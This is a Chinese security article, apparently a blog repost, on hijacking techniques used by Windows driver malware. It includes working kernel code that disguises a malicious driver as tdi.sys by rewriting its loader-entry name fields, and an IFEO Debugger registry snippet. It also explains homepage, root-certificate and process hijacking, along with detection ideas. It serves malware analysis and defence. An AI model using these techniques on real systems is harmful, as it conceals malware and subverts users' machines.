本篇作为驱动病毒分析系列的最后一篇,主要给大家展示一下驱动病毒常见的劫持手法。
驱动病毒经常通过对象劫持来把自己伪装成为系统正常的驱动文件,增强隐蔽性。
当系统加载驱动时,会为驱动构建一下_LDR_DATA_TABLE_ENTRY结构体,DRIVER_OBJECT结构体的DriverSection成员指向这个结构体。
我们主要关注的是结构体中 FullDllName(驱动全路径)和 BaseDllname(驱动名)字段。对象劫持所劫持的正是这两个字段。
攻击实例
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
struct {
ULONG TimeDateStamp;
};
struct {
PVOID LoadedImports;
};
};
//struct _ACTIVATION_CONTEXT * EntryPointActivationContext;
PVOID EntryPointActivationContext;
PVOID PatchInformation;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
void Unload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("UNLOAD ok");
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = Unload;
UNICODE_STRING fake;
RtlInitUnicodeString(&fake, L"tdi.sys");
((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->BaseDllName.Buffer = fake.Buffer;
((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->FullDllName.Buffer = fake.Buffer;
return STATUS_SUCCESS;
}
这是一个简单的攻击实例,木马通过对象劫持将恶意驱动伪装成系统网络驱动tdi.sys。
![原创 | 驱动病毒那些事(完结)—— 劫持 驱动病毒那些事(完结)—— 劫持]()
![原创 | 驱动病毒那些事(完结)—— 劫持 驱动病毒那些事(完结)—— 劫持]()
![原创 | 驱动病毒那些事(完结)—— 劫持 驱动病毒那些事(完结)—— 劫持]()
![原创 | 驱动病毒那些事(完结)—— 劫持 驱动病毒那些事(完结)—— 劫持]()
下面我们来探索如何检测这种攻击,不仅是进程劫持,驱动病毒为了隐蔽,防止PChunter这类ARK工具枚举自身,会通过断掉LDR_DATA_TABLE_ENTRY的驱动加载链表,来对抗利用 ZwQuerySystemInformation
的11号功能枚举驱动的手法。
后来我们又想到打开驱动对象目录查找驱动的方法来检测到断这种链表的隐藏驱动。但是病毒能够通过断掉目录对象的的hash链来自我隐身。我们索性直接在内存中暴力搜索驱动对象的结构体来进行枚举,但是病毒有可以通过抹掉驱动对象和抹掉PE头,或者伪造驱动对象和PE头来对抗检测,这是一场攻防的博弈。
但是像本例中的对象劫持还是很好检测的,因为对象劫持修改的只是LDR_DATA_TABLE_ENTRY 结构体中的FullDllName和BaseDllName,但是并没有修改Driver_Object结构体中的Drivername字段,如图:
![原创 | 驱动病毒那些事(完结)—— 劫持 驱动病毒那些事(完结)—— 劫持]()
我们可以通过 RjtlCompareUnicodeString函数,对比BaseDllName字段,判断两者是否相同,但是测试时遇到了问题,虽然Drivername字段是Uniconde_string类型,但是打印该字段时会出现非预期字符,乱码,对比时需要先对字符串进行处理,提取出驱动名称。
驱动病毒经常会恶意更改用户浏览器主页,进行流量,主页劫持,骗取用户点击量,进行牟利。
cmdline劫持
由于驱动运行在ring 0 级别,可以通过注册线程回调,当匹配到特点浏览器进/线程启动时,通过在浏览器线程启动时cmdline参数,进行主页劫持。
修改的是_RTL_USER_PROCESS_PARAMETERS结构体中的cmdline参数
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
PVOID ConsoleHandle;
ULONG ConsoleFlags;
PVOID StandardInput;
PVOID StandardOutput;
PVOID StandardError;
CURDIR CurrentDirectory;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
ULONG EnvironmentSize;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
由于病毒是通过注册回调方式进行劫持主页,比较底层,火绒剑无法捕获被劫持后的cmdline参数。
![原创 | 驱动病毒那些事(完结)—— 劫持 驱动病毒那些事(完结)—— 劫持]()
![原创 | 驱动病毒那些事(完结)—— 劫持 驱动病毒那些事(完结)—— 劫持]()
注册表项劫持
有些病毒劫持主页的手法更加简单粗暴,通过修改注册表项的方式进行劫持。
修改HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerMain和HKEY_CURRENT_USERSoftwareMicrosoftInternetExplorerMain下的Start Page串值,将其修改为恶意链接。
![原创 | 驱动病毒那些事(完结)—— 劫持 驱动病毒那些事(完结)—— 劫持]()
https根证书劫持
病毒通过向本地受信任列表导入伪造的根证书,做中间人攻击,劫持主机的https流量,tls加密形同虚设。
ssl加密的基础就是通过预置在机器上多个根证书来校验服务器是否是真的经过授权的。但是如果终端被导入了一张伪造的根证书,这个不可靠的根证书就可以伪造服务以骗过浏览器和应用的安全检查。
https协议本身安全性是可以得到保证的,但是由于客户端和服务器的脆弱性,也会导致协议的不安全。
https://baijiahao.baidu.com/s?id=1692488693431728710&wfr=spider&for=pc
进程劫持的成因是病毒修改了IFEO下的Debugger串值。具体劫持路径如下:
WindowsNT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定,引发进程劫持的是Debugger参数,IFEO里第一个被处理的参数。
Debugger参数存在的本意是为了让程序员能够通过双击程序文件直接进入调试器里调试自己的程序,系统如果发现某个程序文件在IFEO列表中,它就会首先来读取Debugger参数,如果该参数不为空,系统则会把Debugger参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsregedit.exe]
"Debugger"=""C:\Windows\notepad.exe" "
![原创 | 驱动病毒那些事(完结)—— 劫持 驱动病毒那些事(完结)—— 劫持]()
![原创 | 驱动病毒那些事(完结)—— 劫持 驱动病毒那些事(完结)—— 劫持]()
1. https://blog.csdn.net/liujiayu2/article/details/73943794?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-2&spm=1001.2101.3001.4242
https://blog.csdn.net/guyue35/article/details/50073373
本文始发于微信公众号(SecIN技术平台):原创 | 驱动病毒那些事(完结)—— 劫持
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
点赞
https://cn-sec.com/archives/335384.html
复制链接
复制链接
-
左青龙
- 微信扫一扫
-
-
右白虎
- 微信扫一扫
-
评论